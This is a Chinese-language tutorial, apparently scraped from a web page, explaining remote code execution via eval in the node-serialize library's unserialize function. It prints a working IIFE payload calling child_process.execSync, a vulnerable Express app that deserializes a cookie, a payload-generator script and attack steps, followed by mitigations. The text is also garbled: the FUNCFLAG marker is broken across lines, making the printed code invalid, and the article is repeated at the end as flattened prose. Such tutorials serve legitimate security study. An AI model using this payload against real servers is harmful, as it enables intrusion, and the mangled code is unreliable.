源码层面详解Node.js反序列化漏洞原理与利用
字数 1100 2025-12-06 12:06:04

Node.js反序列化漏洞原理与利用详解

漏洞概述

Node.js反序列化漏洞是一种严重的安全漏洞,其核心问题在于程序错误地将本应作为"数据"处理的字符串,错误地当作"代码"执行。这种漏洞主要出现在使用node-serialize库的应用中。

漏洞原理分析

正常序列化/反序列化流程

在正常业务场景中,服务器需要将函数对象转换为字符串进行存储或传输:

{
  "sayHi": "_
$$
ND_FUNC
$$
_function() { console.log('Hello'); }"
}

漏洞核心机制

标记定义

node-serialize库源码中定义了关键标识符:

var FUNCFLAG = '_
$$
ND_FUNC
$$
_';

序列化过程(exports.serialize)

当遇到函数属性时,库执行以下操作:

} else if(typeof obj[key] === 'function') {
  var funcStr = obj[key].toString();
  // 检查是否为原生函数
  if(ISNATIVEFUNC.test(funcStr)) {
    // 处理逻辑...
  }
  // 关键步骤:添加前缀标记
  outputObj[key] = FUNCFLAG + funcStr;
}

反序列化过程(exports.unserialize)

漏洞产生的关键代码:

if(obj[key].indexOf(FUNCFLAG) === 0) {
  obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
}

漏洞触发原理

攻击者通过构造特殊的序列化字符串,利用IIFE(立即调用函数表达式)机制实现代码执行:

恶意Payload示例:

{
  "rce": "_
$$
ND_FUNC
$$
_function() { require('child_process').execSync('calc'); }()"
}

执行流程分析:

  1. 移除前缀:obj[key].substring(FUNCFLAG.length)function(){...}()
  2. 添加括号:eval('(' + 'function(){...}()' + ')')
  3. 执行结果:(function(){require('child_process').execSync('calc');}())

由于末尾的(),eval执行的不再是函数定义,而是立即执行的函数调用。

漏洞利用实战

环境搭建

npm init -y
npm install node-serialize express cookie-parser

漏洞代码示例

const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');

const app = express();
app.use(cookieParser());

app.get('/', (req, res) => {
  if (req.cookies.profile) {
    try {
      // 漏洞点:直接反序列化用户控制的Cookie
      var str = Buffer.from(req.cookies.profile, 'base64').toString();
      var obj = serialize.unserialize(str); // 🚨 漏洞触发点
      
      if (obj.username) {
        res.send("欢迎回来, " + obj.username);
      }
    } catch (e) {
      res.send("反序列化出错: " + e.message);
    }
  } else {
    // 设置正常Cookie
    var defaultObj = { username: "Guest", country: "CN" };
    var base64Str = Buffer.from(JSON.stringify(defaultObj)).toString('base64');
    res.cookie('profile', base64Str);
    res.send("Cookie已设置");
  }
});

app.listen(3000);

攻击Payload生成

var serialize = require('node-serialize');

// 构造恶意对象
var y = {
  rce: function(){ require('child_process').execSync('calc'); }
};

// 序列化并修改Payload
var str = serialize.serialize(y);
var payload = str.replace('}"', '}()"'); // 关键修改

console.log("攻击Payload:");
console.log(payload);

// Base64编码结果
var base64Payload = Buffer.from(payload).toString('base64');
console.log("Base64编码后的Payload:");
console.log(base64Payload);

攻击步骤

  1. 运行攻击脚本生成Payload
  2. 将生成的Base64字符串作为Cookie中profile的值
  3. 访问存在漏洞的页面
  4. 系统命令将被执行(如弹出计算器)

技术细节深度分析

eval函数的特殊处理

为什么需要添加括号?

  • 直接执行eval("function(){}")会被解析为函数声明
  • 使用(function(){})将其转换为函数表达式
  • 这样才能正确返回函数对象

漏洞限制与绕过

  1. 函数类型限制:库会检查是否为原生函数
  2. 编码要求:Payload需要Base64编码
  3. 上下文限制:执行环境受到Node.js模块系统的限制

防护措施

安全开发建议

  1. 避免使用不安全的反序列化库
  2. 使用JSON.parse替代:如果不需要函数序列化功能
  3. 输入验证:对反序列化的数据进行严格验证
  4. 沙箱环境:在隔离环境中执行反序列化操作

代码修复方案

// 安全的替代方案
function safeUnserialize(str) {
  const obj = JSON.parse(str);
  // 不处理函数反序列化
  return obj;
}

总结

Node.js反序列化漏洞的根源在于node-serialize库过度信任用户输入,直接通过eval执行函数字符串。通过理解漏洞原理和利用技术,开发人员可以更好地防范此类安全问题,提高应用程序的安全性。

Node.js反序列化漏洞原理与利用详解 漏洞概述 Node.js反序列化漏洞是一种严重的安全漏洞,其核心问题在于程序错误地将本应作为"数据"处理的字符串,错误地当作"代码"执行。这种漏洞主要出现在使用 node-serialize 库的应用中。 漏洞原理分析 正常序列化/反序列化流程 在正常业务场景中,服务器需要将函数对象转换为字符串进行存储或传输: 漏洞核心机制 标记定义 在 node-serialize 库源码中定义了关键标识符: 序列化过程(exports.serialize) 当遇到函数属性时,库执行以下操作: 反序列化过程(exports.unserialize) 漏洞产生的关键代码: 漏洞触发原理 攻击者通过构造特殊的序列化字符串,利用IIFE(立即调用函数表达式)机制实现代码执行: 恶意Payload示例: 执行流程分析: 移除前缀: obj[key].substring(FUNCFLAG.length) → function(){...}() 添加括号: eval('(' + 'function(){...}()' + ')') 执行结果: (function(){require('child_process').execSync('calc');}()) 由于末尾的 () ,eval执行的不再是函数定义,而是立即执行的函数调用。 漏洞利用实战 环境搭建 漏洞代码示例 攻击Payload生成 攻击步骤 运行攻击脚本生成Payload 将生成的Base64字符串作为Cookie中 profile 的值 访问存在漏洞的页面 系统命令将被执行(如弹出计算器) 技术细节深度分析 eval函数的特殊处理 为什么需要添加括号? 直接执行 eval("function(){}") 会被解析为函数声明 使用 (function(){}) 将其转换为函数表达式 这样才能正确返回函数对象 漏洞限制与绕过 函数类型限制 :库会检查是否为原生函数 编码要求 :Payload需要Base64编码 上下文限制 :执行环境受到Node.js模块系统的限制 防护措施 安全开发建议 避免使用不安全的反序列化库 使用JSON.parse替代 :如果不需要函数序列化功能 输入验证 :对反序列化的数据进行严格验证 沙箱环境 :在隔离环境中执行反序列化操作 代码修复方案 总结 Node.js反序列化漏洞的根源在于 node-serialize 库过度信任用户输入,直接通过eval执行函数字符串。通过理解漏洞原理和利用技术,开发人员可以更好地防范此类安全问题,提高应用程序的安全性。